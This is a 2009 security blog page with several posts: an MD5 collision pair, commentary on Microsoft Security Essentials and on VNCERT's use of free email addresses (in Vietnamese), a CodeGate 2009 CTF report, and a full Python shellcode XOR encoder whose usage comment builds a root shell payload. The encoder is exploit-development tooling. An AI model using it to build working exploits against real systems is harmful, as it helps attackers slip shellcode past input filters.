Just an MD5 collision pair

September 30, 2009 by lamer · Leave a Comment 

Nothing much in this blog entry. If you’re lucky to land on this page via a Google search, this collision pair might help you.

9011f8697eddc718204b83a6c68bfc05fcd46b03bcfbdc8003763966e99d
907d8ef9f5e7ec6422694b0ec65cebad0b245a70d8c2390b3f1a451048a9
42a4af45dd7416abdcdbff2a67473e2d99a6c2814836ca470779e11ccd57
16c955697d1e0173d6da57ea8eb27bb7c5afa52951c8cdf09cc5c5718f5c
6c5037734bfea8e9

9011f8697eddc718204b83a6c68bfc05fcd46b83bcfbdc8003763966e99d
907d8ef9f5e7ec6422694b0ec65ceb2d0c245a70d8c2390b3f1a45104829
42a4af45dd7416abdcdbff2a67473e2d99a6c2814836cac70779e11ccd57
16c955697d1e0173d6da57ea8eb27bb7c5afa5a950c8cdf09cc5c5718f5c
6c5037f34bfea8e9

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Microsoft Security Essentials phiên bản chính thức

September 29, 2009 by lamer · Leave a Comment 

Cái mà mình thật sự quan tâm không phải về chất lượng sản phẩm diệt virus này (nó tốt, ok, http://www.computerworld.com/s/article/9134753/Antivirus_testing_outfit_Microsoft_Security_Essentials_makes_the_grade) mà là:

  1. Còn ai muốn bỏ 290.000đ để mua một sản phẩm diệt virus ba xạo kia không?
  2. Còn đất sống cho các sản phẩm diệt virus cho Windows nữa không?

Khi đọc tin này có lẽ bạn đã có thể download thử MSE tại http://www.microsoft.com/Security_essentials/.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Python Shellcode Encoder

September 25, 2009 by lamer · Leave a Comment 

At the moment, the package only sports two encoders: fnstenv and jmp/call encoders. Both are classic xor encoders. Hope you find it useful.

# Shellcode encoder to avoid NUL or special characters
#
# egg = inlineegg.InlineEgg(inlineegg.Linuxx86Syscall)
# egg.setreuid(0, 0)
# egg.execve('/bin/sh', ('/bin/sh', '-i'))
# shellcode = egg.getCode()
# encoder = FnstenvXorEncoder()
# bytes = encoder.encode(shellcode)
# shellcode = ''.join(chr(x) for x in bytes)
#
# if encode() raises EncoderError, if may be due to your shellcode's length is
# divisible by 256. Putting in a NOP and try again.
#
# Copyright 2007 Nam T. Nguyen, distributed under the BSD license

import types
import unittest

class EncoderError(Exception):
    pass

class Encoder(object):

    def encode(self, payload):
        return payload

class XorEncoder(Encoder):

    def __init__(self, disallowed_chars=(0x00, 0x0D, 0x0A)):
        self._disallowed_chars = set(disallowed_chars)
        self._usable_chars = set(range(256)) - self._disallowed_chars

    def _get_supported_register_sets(self):
        return []

    def _get_register_set(self, register_set):
        return {}

    def _get_header(self):
        return []

    def _get_payload_size_position(self):
        raise NotImplementedError()

    def _get_xor_key_position(self):
        raise NotImplementedError()

    def _encode_payload(self, payload, register_sets):
        buffer = []
        if isinstance(payload, types.StringTypes):
            buffer.extend(ord(x) & 0xFF for x in payload)
        else:
            buffer.extend(payload)

        for c in self._usable_chars:
            ret = buffer[:]
            for i in range(len(ret)):
                ret[i] = ret[i] ^ c
                if ret[i] in self._disallowed_chars:
                    # break inner for
                    break
            else:
                self._xor_key = c
                # break outer for
                break
        else:
            raise EncoderError('cannot encode')

        return ret

    def _prefix_header(self, payload, register_sets):
        ret = self._get_header()

        payload_len = 0x10000 - len(payload)
        payload_size_pos = self._get_payload_size_position()
        ret[payload_size_pos] = payload_len & 0xFF
        ret[payload_size_pos + 1] = (
            (payload_len & 0xFF00) >> 8)

        xor_key_pos = self._get_xor_key_position()
        for reg_set in register_sets:
            for pos, value in self._get_register_set(reg_set).iteritems():
                ret[pos] = value
            for i, c in enumerate(ret):
                if (c in self._disallowed_chars) and (
                    i != xor_key_pos):
                    # break the inner for
                    break
            else:
                # break the outter for
                break
        else:
            raise EncoderError('cannot encode')

        ret[xor_key_pos] = self._xor_key
        ret.extend(payload)

        return ret

    def encode(self, payload, register_sets=[]):
        """Encode payload.

        :param payload: the payload, either a string or a sequence of bytes
        :param register_sets: a sequence of registers to try in shellcode
        header. Sample names include 'eax', 'edx', and 'ebx'.
        :return: a sequence of encoded bytes
        """
        if len(payload) == 0:
            return []

        if len(payload) > 65535:
            raise EncoderError('cannot encode')

        if not self._usable_chars:
            raise EncoderError('cannot encode')

        if not register_sets:
            register_sets = self._get_supported_register_sets()

        encoded_payload = self._encode_payload(payload, register_sets)
        ret = self._prefix_header(encoded_payload, register_sets)

        return ret

    def encode_to_string(self, payload, register_sets=[]):
        """Encode payload. Return a string.

        :see: encode
        """
        return ''.join(chr(x) for x in self.encode(payload, register_sets))

class FnstenvXorEncoder(XorEncoder):
    """Fnstenv Xor based on
    http://www.metasploit.com/sc/x86_fnstenv_xor_byte.asm."""
    HEADER = [
        0xD9, 0xE1,                    # fabs
        0xD9, 0x34, 0x24,              # fnstenv [esp]
        0x5A,                          # pop edx
        0x5A,                          # pop edx
        0x5A,                          # pop edx
        0x5A,                          # pop edx
        0x80, 0xEA, 0xE7,              # sub dl,-25     (offset to payload)
        0x31, 0xC9,                    # xor ecx,ecx
        0x66, 0x81, 0xE9, 0xA1, 0xFE,  # sub cx,-0x15F  (0x15F is size of payload)
        0x80, 0x32, 0x99,              # decode: xor byte [edx],0x99
        0x42,                          # inc edx
        0xE2, 0xFA,                    # loop decode
        # payload goes here
    ]

    REGISTER_SET = {
        'edx' : {5: 0x5A, 6: 0x5A, 7: 0x5A, 8: 0x5A, 9: 0x80, 10: 0xEA,
                 20: 0x32, 22: 0x42},
        'eax' : {5: 0x58, 6: 0x58, 7: 0x58, 8: 0x58, # 9: 0x90, 10: 0x2C,
                 9: 0x80, 10: 0xE8,
                 20: 0x30, 22: 0x40},
        'ebx' : {5: 0x5B, 6: 0x5B, 7: 0x5B, 8: 0x5B, 9: 0x80, 10: 0xEB,
                 20: 0x33, 22: 0x43},
    }

    XOR_KEY_POSITION = 21

    PAYLOAD_SIZE_POSITION = 17         # 17 and 18

    def _get_supported_register_sets(self):
        return FnstenvXorEncoder.REGISTER_SET.keys()

    def _get_register_set(self, register_set):
        return FnstenvXorEncoder.REGISTER_SET[register_set]

    def _get_header(self):
        return FnstenvXorEncoder.HEADER[:]

    def _get_payload_size_position(self):
        return FnstenvXorEncoder.PAYLOAD_SIZE_POSITION

    def _get_xor_key_position(self):
        return FnstenvXorEncoder.XOR_KEY_POSITION

class JumpCallXorEncoder(XorEncoder):
    HEADER = [
        0xeb, 0x10,                    # jmp getdata
        0x5b,                          # begin: pop ebx
        0x31, 0xc9,                    # xor ecx, ecx
        0x66, 0x81, 0xe9, 0xa1, 0xfe,  # sub cx, -0x15F
        0x80, 0x33, 0x99,              # decode: xor byte[ebx], 0x99
        0x43,                          # inc ebx
        0xe2, 0xfa,                    # loop decode
        0xeb, 0x05,                    # jmp payload
        0xe8, 0xeb, 0xff, 0xff, 0xff,  # getdata: call begin
        # payload goes here            # payload:
    ]

    REGISTER_SET = {
        'eax': {2: 0x58, 11: 0x30, 13: 0x40},
        'ebx': {2: 0x5b, 11: 0x33, 13: 0x43},
        'edx': {2: 0x5a, 11: 0x32, 13: 0x42},
    }

    XOR_KEY_POSITION = 12

    PAYLOAD_SIZE_POSITION = 8

    def _get_header(self):
        return JumpCallXorEncoder.HEADER[:]

    def _get_supported_register_sets(self):
        return JumpCallXorEncoder.REGISTER_SET.keys()

    def _get_register_set(self, register_set):
        return JumpCallXorEncoder.REGISTER_SET[register_set]

    def _get_payload_size_position(self):
        return JumpCallXorEncoder.PAYLOAD_SIZE_POSITION

    def _get_xor_key_position(self):
        return JumpCallXorEncoder.XOR_KEY_POSITION

class TestFnstenvXorEncoder(unittest.TestCase):

    def testEmptyShellcode(self):
        encoder = FnstenvXorEncoder()
        self.assertEqual([], encoder.encode(""))

    def testRegisterSet(self):
        encoder = FnstenvXorEncoder()
        ret = encoder.encode("\x00", ['edx'])
        self.assertEqual(ret, [0xd9, 0xe1, 0xd9, 0x34, 0x24, 0x5a, 0x5a, 0x5a,
                               0x5a, 0x80, 0xea, 0xe7, 0x31, 0xc9, 0x66, 0x81,
                               0xe9, 0xFF, 0xFF, 0x80, 0x32, 0x01, 0x42, 0xe2,
                               0xfa, 0x01])
        ret = encoder.encode("\x00", ['eax'])
        self.assertEqual(ret, [0xd9, 0xe1, 0xd9, 0x34, 0x24, 0x58, 0x58, 0x58,
                               0x58, 0x80, 0xe8, 0xe7, 0x31, 0xc9, 0x66, 0x81,
                               0xe9, 0xFF, 0xFF, 0x80, 0x30, 0x01, 0x40, 0xe2,
                               0xfa, 0x01])
        ret = encoder.encode("\x00", ['ebx'])
        self.assertEqual(ret, [0xd9, 0xe1, 0xd9, 0x34, 0x24, 0x5b, 0x5b, 0x5b,
                               0x5b, 0x80, 0xeb, 0xe7, 0x31, 0xc9, 0x66, 0x81,
                               0xe9, 0xFF, 0xFF, 0x80, 0x33, 0x01, 0x43, 0xe2,
                               0xfa, 0x01])
        self.assertRaises(KeyError, encoder.encode, "\x00", ['regset'])

    def testDisallowedCharsInHeader(self):
        encoder = FnstenvXorEncoder(range(256))
        self.assertRaises(EncoderError, encoder.encode, "\x7F")
        encoder = FnstenvXorEncoder([0xE1])
        self.assertRaises(EncoderError, encoder.encode, "\x00")
        encoder = FnstenvXorEncoder([0x00, 0x01, 0x02])
        ret = encoder.encode("\x00", ['edx'])
        self.assertEqual(ret, [0xd9, 0xe1, 0xd9, 0x34, 0x24, 0x5a, 0x5a, 0x5a,
                               0x5a, 0x80, 0xea, 0xe7, 0x31, 0xc9, 0x66, 0x81,
                               0xe9, 0xFF, 0xFF, 0x80, 0x32, 0x03, 0x42, 0xe2,
                               0xfa, 0x03])

    def testDisallowedCharsInPayload(self):
        encoder = FnstenvXorEncoder([0x00, 0x01, 0x02])
        ret = encoder.encode("\x03", ['edx'])
        self.assertEqual(ret, [0xd9, 0xe1, 0xd9, 0x34, 0x24, 0x5a, 0x5a, 0x5a,
                               0x5a, 0x80, 0xea, 0xe7, 0x31, 0xc9, 0x66, 0x81,
                               0xe9, 0xFF, 0xFF, 0x80, 0x32, 0x04, 0x42, 0xe2,
                               0xfa, 0x07])
        encoder = FnstenvXorEncoder([0x00, 0x01, 0x02, 0x04])
        ret = encoder.encode("\x03", ['edx'])
        self.assertEqual(ret, [0xd9, 0xe1, 0xd9, 0x34, 0x24, 0x5a, 0x5a, 0x5a,
                               0x5a, 0x80, 0xea, 0xe7, 0x31, 0xc9, 0x66, 0x81,
                               0xe9, 0xFF, 0xFF, 0x80, 0x32, 0x05, 0x42, 0xe2,
                               0xfa, 0x06])

if __name__ == "__main__":
    unittest.main()

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Personal report on CodeGate 2009

March 11, 2009 by lamer · 5 Comments 

The contest started at 20:00 GMT+7 on March 06 and ended at 22:00 GMT+7 on March 08 (sorry to the ladies, we ignored yall). There were about 500 registered teams for the preliminary round. I reckon more than half of them were by-products of hacking attempts at the registration site.

On the first night, we played from home. Six challenges were released in the first wave, then through out the whole contest, more challenges came up eventually. I could only remember picking up challenge 07 and worked on it in one or two hours, then continued with challenge 03. The rest of the team were less lucky though. They hit on 09, 11, and 13 which are crazily difficult. Not because they are analytically difficult but they are, well, like those “aha questions” that you encounter in job interviews. In fact, many top teams had the same difficulties in solving them because, I guess, we just aren’t exposed to the same teaching as the quiz maker. Take challenge 09 for example. It was a short Matahari cipher as what the hint suggested. But after hours of googling, the only usable link was an old scanned image at http://math88.com.ne.kr/crypto/picture/matahari-cipher.jpg. Nonetheless, we managed to climb to the top spot that night.

The next morning, some of us gathered at a coffee shop, some worked from home. I hit myself hard on the head for not taking the #03 breakthrough the previous night. Cuz I was kinda tired so I went to bed early. At around 07:30 we solved #03. Then 04 took away a lot of our time. A few of us passed 04 around trying to find where we could exploit the EBP overwrite bug. None of us could tell. So we left #04 and looked at other challenges. I picked up #10. At first look, it seemed unbreakable to me. After a few hours thinking on it, a shamefully dumb idea came. I wrote a utility similar to the Rainbow Table generator and hoped it could complete the task within a reasonable time so that we could solve the challenge on the next day. And by then, my brain shut down, I couldn’t think of anything else, probably due to the lack of sleep. The team, though, still solved some more problems, especially we got pass the insensible challenge #13.

The last day some of us still gathered at a coffee shop (including me), and some still worked from home. This was the most productive day for myself. At first, we solved challenge 08. Then we nailed #17. And while I was thinking of #21, the solution for #04 came. Leaving 04 in the good hand of rd, I got back to 10. Our hope collapsed when we found out that the generator was still way behind. So I scraped that dumb idea and tried to find another way. At the same time, the team made some good progress on 18, and 21. It was unfortunate that minutes of brilliance did not come sooner. We all came to feasible solutions for 10, 18, and 21 after the contest ended a few minutes. In fact, we shared with other teams the disappointment. Some team solved a challenge just seconds after the score system closed. That is true pity. In the end, we arrived at 9th.

All in all, we love this contest. There were many new stuffs for us to learn from this. Most importantly, we found that we were too far behind in Web technologies.

Kudos to BeistLab for organizing such entertaining and educating contest!

Our write-ups could be downloaded here. Enjoy.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Nghị định 90/2008/NĐ-CP và Thông tư 12/2008/TT-BTTTT

February 9, 2009 by lamer · Leave a Comment 

Có điều là, ngoài các vấn đề kỹ thuật cơ bản khác, bản thân trung tâm điều phối lại sử dụng những địa chỉ thư điện tử như thế này đây:

office@vncert.vn

canhbaothurac@vncert.vn

canhbaothurac@gmail.com

canhbaothurac@yahoo.com.vn

Thứ nhất, trang web của trung tâm của Bộ TTTT có địa chỉ http://antispam.vncert.gov.vn mà lẽ nào không tạo được một vài địa chỉ thư cùng domain, hoặc ít nhất là @vncert.gov.vn?

Thứ hai, domain vncert.vn không thể hiện được tính quản lý của Nhà nước. Domain này hoàn toàn như một domain thương mại thông thường.

Thứ ba, và tệ hại nhất, là sự sử dụng những dịch vụ miễn phí như gmail.com và yahoo.com.vn để thu nhận các thông tin nhạy cảm. Điều này sẽ tạo điều kiện cho những kẻ giả danh tạo ra các tài khoản tương tự canhbaothurac như canhbaospam, canhbaovncert, v.v…

Lẽ nào trung tâm điều phối chống thư rác lại tiếp tay cho những kẻ rải thư rác?

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Next Page »